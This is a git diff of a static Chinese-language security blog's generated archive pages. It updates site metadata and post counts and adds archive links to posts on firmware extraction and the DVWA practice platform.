                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -490,7 +493,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2000/index.html b/archives/2000/index.html
index 1524707e..7518b11c 100644
--- a/archives/2000/index.html
+++ b/archives/2000/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2000/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -387,7 +390,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -397,7 +400,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -408,7 +411,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -419,7 +422,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -490,7 +493,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2018/11/index.html b/archives/2018/11/index.html
index defa1615..a848c432 100644
--- a/archives/2018/11/index.html
+++ b/archives/2018/11/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2018/11/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -387,7 +390,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -397,7 +400,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -408,7 +411,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -419,7 +422,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -490,7 +493,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2018/12/index.html b/archives/2018/12/index.html
index 6550ae74..32c3152b 100644
--- a/archives/2018/12/index.html
+++ b/archives/2018/12/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2018/12/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -457,7 +460,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -467,7 +470,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -478,7 +481,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -489,7 +492,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -560,7 +563,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2018/index.html b/archives/2018/index.html
index 5780afba..8a05c9ba 100644
--- a/archives/2018/index.html
+++ b/archives/2018/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2018/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -492,7 +495,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -502,7 +505,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -513,7 +516,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -524,7 +527,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -595,7 +598,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2019/01/index.html b/archives/2019/01/index.html
index a50906d9..5a31d7f7 100644
--- a/archives/2019/01/index.html
+++ b/archives/2019/01/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2019/01/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -387,7 +390,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -397,7 +400,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -408,7 +411,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -419,7 +422,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -490,7 +493,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2019/02/index.html b/archives/2019/02/index.html
index 5515e914..bd432f3c 100644
--- a/archives/2019/02/index.html
+++ b/archives/2019/02/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2019/02/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -387,7 +390,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -397,7 +400,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -408,7 +411,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -419,7 +422,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -490,7 +493,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2019/03/index.html b/archives/2019/03/index.html
index 75f97207..c610ed7a 100644
--- a/archives/2019/03/index.html
+++ b/archives/2019/03/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2019/03/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -492,7 +495,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -502,7 +505,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -513,7 +516,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -524,7 +527,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -595,7 +598,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2019/04/index.html b/archives/2019/04/index.html
index a528ff33..69173757 100644
--- a/archives/2019/04/index.html
+++ b/archives/2019/04/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2019/04/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -422,7 +425,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -432,7 +435,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -443,7 +446,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -454,7 +457,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -525,7 +528,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2019/05/index.html b/archives/2019/05/index.html
index a3b51c34..45ffc335 100644
--- a/archives/2019/05/index.html
+++ b/archives/2019/05/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2019/05/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -422,7 +425,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -432,7 +435,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -443,7 +446,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -454,7 +457,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -525,7 +528,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2019/07/index.html b/archives/2019/07/index.html
index cd0ee748..ce94a716 100644
--- a/archives/2019/07/index.html
+++ b/archives/2019/07/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2019/07/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -318,6 +321,76 @@
 
         
 
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/获取固件/" itemprop="url">
+              
+                <span itemprop="name">获取固件的几种方法</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:49:28+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/web-dvwa/" itemprop="url">
+              
+                <span itemprop="name">DVWA黑客攻防平台</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:46:51+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
   <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
     <header class="post-header">
 
@@ -492,7 +565,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -502,7 +575,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -513,7 +586,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -524,7 +597,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -595,7 +668,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2019/index.html b/archives/2019/index.html
index 3aabfce9..7cbcac67 100644
--- a/archives/2019/index.html
+++ b/archives/2019/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2019/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -318,6 +321,76 @@
 
         
 
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/获取固件/" itemprop="url">
+              
+                <span itemprop="name">获取固件的几种方法</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:49:28+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/web-dvwa/" itemprop="url">
+              
+                <span itemprop="name">DVWA黑客攻防平台</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:46:51+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
   <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
     <header class="post-header">
 
@@ -589,76 +662,6 @@
 
       
 
-        
-        
-        
-
-        
-        
-
-        
-
-  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
-    <header class="post-header">
-
-      <h2 class="post-title">
-        
-            <a class="post-title-link" href="/2019/03/28/逆向工程实验/" itemprop="url">
-              
-                <span itemprop="name">逆向工程与软件破解</span>
-              
-            </a>
-        
-      </h2>
-
-      <div class="post-meta">
-        <time class="post-time" itemprop="dateCreated" datetime="2019-03-28T15:25:04+08:00" content="2019-03-28">
-          03-28
-        </time>
-      </div>
-
-    </header>
-  </article>
-
-
-
-      
-
-        
-        
-        
-
-        
-        
-
-        
-
-  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
-    <header class="post-header">
-
-      <h2 class="post-title">
-        
-            <a class="post-title-link" href="/2019/03/25/Samba-CVE/" itemprop="url">
-              
-                <span itemprop="name">小米路由器与Samba漏洞CVE-2017-7494</span>
-              
-            </a>
-        
-      </h2>
-
-      <div class="post-meta">
-        <time class="post-time" itemprop="dateCreated" datetime="2019-03-25T13:45:16+08:00" content="2019-03-25">
-          03-25
-        </time>
-      </div>
-
-    </header>
-  </article>
-
-
-
-      
-
     </div>
   </div>
   
@@ -706,7 +709,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -716,7 +719,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -727,7 +730,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -738,7 +741,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -809,7 +812,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/2019/page/2/index.html b/archives/2019/page/2/index.html
index 29e77a40..b4623ea4 100644
--- a/archives/2019/page/2/index.html
+++ b/archives/2019/page/2/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/2019/page/2/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -318,6 +321,76 @@
 
         
 
